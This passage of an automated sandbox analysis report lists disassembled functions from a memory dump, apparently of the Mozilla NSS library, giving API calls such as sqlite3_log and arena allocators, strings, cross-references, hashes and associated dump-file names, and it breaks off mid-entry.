API String ID: 3168844106-1126224928
Opcode ID: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction ID: 30e95ea999de615739edfc80580d949486660102e6e6bfc5ca8a8c78a55b8048
Opcode Fuzzy Hash: eb69cba95da9d29ef2a71ff3d2616d8a3350a887688f23511b1adbac181dedf2
Instruction Fuzzy Hash: A272A178E042058FDB14CF68C890BAABBF1BF89308F1482A9D815AB752D775E855CB90

Function 6C6D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DA01F, 6C6DA0E4, 6C6DA0FE
%s at line %d of [%.10s], xrefs: 6C6DA02E, 6C6DA10D
database corruption, xrefs: 6C6DA029, 6C6DA108

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction ID: 9b3a496d1436937cf45dfd5c4abf7478639dbac9ba23f9470e03741135354919
Opcode Fuzzy Hash: fd69fcab2eecaf1f6d124f39e208d1bfca464be685544af61d5eb47962d05cc2
Instruction Fuzzy Hash: 5922C27160C7419FC704CF29C4A066AB7E1BFCA348F158A2DE5DA97B42DB31E845CB4A

Function 6C6F9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5B8637,?,?), ref: 6C6F9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5B8637), ref: 6C6F9ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F9EC0
%s at line %d of [%.10s], xrefs: 6C6F9ECF
database corruption, xrefs: 6C6F9ECA

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction ID: 8530c91630e7d76ff3acd8edcfa655f1c44ccddb9b1cfe95b2c78f3b05561549
Opcode Fuzzy Hash: 9180881b77ef915f134e71eaca12e8a99a06e9ba1d3a435f3277ff0d02554ca5
Instruction Fuzzy Hash: AB81B431B012198FDB04CF6AC880ADEB3F7EF89308B158529D925AB751EB31ED46CB54

Function 6C707F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7081BC

Strings

out of memory, xrefs: 6C70835B
BINARY, xrefs: 6C708126

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction ID: 1ca1371240b46dd7063723108a5d30dd42553fedc183e9502b8d8c84c9870a59
Opcode Fuzzy Hash: 70f654f4727571b6d2eab23cbb0bb0751e7e456988d113aad358506c83084e7f
Instruction Fuzzy Hash: B1528BB1E05218DFDB14CF99C990BADBBF2BF49318F25816ED815AB751D730A846CB80

Function 6C689EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C689ED6

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C689EE4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F38

Part of subcall function 6C68D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C689F0B), ref: 6C68D03B
Part of subcall function 6C68D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C68D04E
Part of subcall function 6C68D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C68D07B
Part of subcall function 6C68D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C68D08E
Part of subcall function 6C68D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C689F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C689F59

Part of subcall function 6C689D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9
Part of subcall function 6C689D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE
Part of subcall function 6C689D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2c5f968bc78aab5bd485d1193cbede8e4b3107d9faa2b4f07a0f46de0ab34fd1
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B5112EB5F062015BF7109A659C00B9B73A4AF9534CF240135E51A87740FB71E559C2BE

Function 6C73CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73D086
PR_Malloc.NSS3(00000001), ref: 6C73D0B9
PR_Free.NSS3(?), ref: 6C73D138

Strings

>, xrefs: 6C73CF5B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: c2e86caf183a3e4378508cac5b8b714b8a7ad419d8b6be0c32cad6c131b3e09e
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: E7D19D62B9157A0BFB14487C8E613EA77938762374F586335D1298BBE7E719C843C309

Function 6C5BAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

psl, xrefs: 6C5BADA7
winUnlock, xrefs: 6C5BAE18
Psl, xrefs: 6C5BADDB, 6C5BADF5, 6C5BAE6A
winUnlockReadLock, xrefs: 6C5BAE9F
0sl, xrefs: 6C5BACC0, 6C5BAD22, 6C5BAD5E, 6C5BAE45

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlock$winUnlockReadLock
API String ID: 0-2399121490
Opcode ID: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction ID: 8fd2b052485038a835556eb50a6e98c367ded4305cf0590b331fd5a81b75dd8f
Opcode Fuzzy Hash: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction Fuzzy Hash: A57181706083449FDB14CF28D894AABBBF5FF89314F24C629F95997211E730A985CBD1

Function 6C6DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction ID: 921d543df01ed27a5e43d52de779543fa744a7d5815976b177d22342a9d16ac6
Opcode Fuzzy Hash: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction Fuzzy Hash: C5F1C071F0522A8FDB05CF28C9447A977F0AB8B308F264239C915DB754E774A941CBE4

Function 6C6CDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2DA

Strings

W, xrefs: 6C6CE111

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction ID: 54e9c5361df7f957d0716a51ce7db330f1f5067db7cdd0a63ab84d98575255de
Opcode Fuzzy Hash: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction Fuzzy Hash: 16C14931B092558BDB04CF25C4827EA77B2FF86308F284179DDA89BB41D731A811CBDA

Function 6C690E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C691052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C691086

Strings

h(il, xrefs: 6C691062, 6C69105D, 6C690F37, 6C691081, 6C691082
h(il, xrefs: 6C690E55, 6C690EC4, 6C690F3A, 6C690FA7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(il$h(il
API String ID: 1297977491-1183790091
Opcode ID: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction ID: d87d084c00b0e0a4ea07630a7ac639ed43069fe47f030fda25ec9574dcc30541
Opcode Fuzzy Hash: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction Fuzzy Hash: B0A15071B0125A9FCF08CF99C894AEEBBB6BF4D314B148129E905A7700D735ED41CBA4

Function 6C5B4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

psl, xrefs: 6C5B4E1C, 6C5B4E81, 6C5B4FDE, 6C5B5047, 6C5B50BB, 6C5B51A3, 6C5B526C
Psl, xrefs: 6C5B5019, 6C5B50FA, 6C5B5157, 6C5B51DE, 6C5B51F2, 6C5B520D, 6C5B5220, 6C5B52A2, 6C5B52B5
winUnlockReadLock, xrefs: 6C5B5125
0sl, xrefs: 6C5B4EDE, 6C5B4F82

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlockReadLock
API String ID: 0-4239522636
Opcode ID: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction ID: a1ab417c0296d69fc3bee057fd04a608bed92f15d21ecede4bed3465f036fd18
Opcode Fuzzy Hash: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction Fuzzy Hash: 35E12F70A09344CFDB05DF28D89865ABBF0FF8A304F51866DF889A7351E7709985CB92

Function 6C5B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C5B7049
noskipscan*, xrefs: 6C5B7067
*?[, xrefs: 6C5B7034, 6C5B7052, 6C5B7070
unordered*, xrefs: 6C5B702B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction ID: 02e8d403aa829ccf4884791145c41d281f48177d20f85f5a05698aea0539649c
Opcode Fuzzy Hash: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction Fuzzy Hash: 93718C32F002154BEB14CA6DCCA079A7FA29F85354F250279CD59BBFC1EA719C468BE1

Function 6C5D3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5D460F
sqlite_, xrefs: 6C5D3FAA, 6C5D4185
sqlite_master, xrefs: 6C5D463F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction ID: fd27522e72f24e8f048aea3baf865ecbdfda39fdc1c8f1f6eb4fcfdd295af39a
Opcode Fuzzy Hash: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction Fuzzy Hash: C5224B316493964FD704CB6D8CA05BA7BF29F46318B6A49A8C9E55FE42C721FC81C788

Function 6C70BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C70C0B6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction ID: de1214600d7826d1c84d398d009a92c735f1286b0e18667d29d7f0a6086f52ad
Opcode Fuzzy Hash: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction Fuzzy Hash: E1926CB4B0020A8FDB05DF98C980BAEB7F2BF89309F244168D515A7B91D735ED46CB61

Function 6C5A3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5A3EA9

Strings

0, xrefs: 6C5A3DAB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction ID: a58685f8e5428988f29ff34c2c48266977468c9e97b333454ef3290fc59c2d2d
Opcode Fuzzy Hash: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction Fuzzy Hash: 14512931E491B98ADB1586FE8C603FFBBB19B8631CF194329C5A567AC1D234854B87A0

Function 6C64EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C64F0F9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 55df6bf4cec9d51c39c1d56be3e76a07cca87d5d70adfdce66244fdf42d3c552
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 0391AF75E0061A8BCB14CF68C8916AEB7F1FF85324F24872DD962A7BC0D730A905CB56

Function 6C672F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C697929), ref: 6C672FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C697929), ref: 6C672FE0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

